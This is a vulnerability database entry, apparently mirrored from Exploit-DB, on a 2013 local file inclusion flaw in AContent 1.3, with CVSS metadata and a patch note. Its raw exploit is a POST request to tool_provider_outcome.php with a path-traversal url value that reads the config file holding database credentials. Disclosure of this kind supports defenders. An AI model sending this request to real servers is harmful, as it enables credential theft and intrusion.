header-logo
Suggest Exploit
vendor:
AContent
by:
DaOne
7,5
CVSS
HIGH
Local File Inclusion
98
CWE
Product Name: AContent
Affected Version From: 1.3
Affected Version To: 1.3
Patch Exists: YES
Related CWE: N/A
CPE: a:atutor:acontent:1.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache/2.2.8(Win32) PHP/5.2.6
2013

AContent 1.3 Local File Inclusion

AContent 1.3 is vulnerable to Local File Inclusion. An attacker can send a malicious POST request to the tool_provider_outcome.php script with a crafted URL parameter to include a local file. This can be used to read sensitive information such as the database credentials.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to upgrade to the latest version of AContent.
Source

Exploit-DB raw data:

##########################################
[~] Exploit Title: AContent 1.3 Local File Inclusion
[~] Date: 21-03-2013
[~] Author: DaOne
[~] Vendor Homepage: http://atutor.ca/acontent/
[~] Software Link: https://sourceforge.net/projects/acontent/files/AContent-1.3.tar.gz/download
[~] Category: webapps/php
[~] Version: 1.3
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# Exploit
POST http://localhost/AContent/oauth/lti/common/tool_provider_outcome.php HTTP /1.1

grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=../../../include/config.inc.php

-end-

Navigation

Suggest Exploit

Services By CQR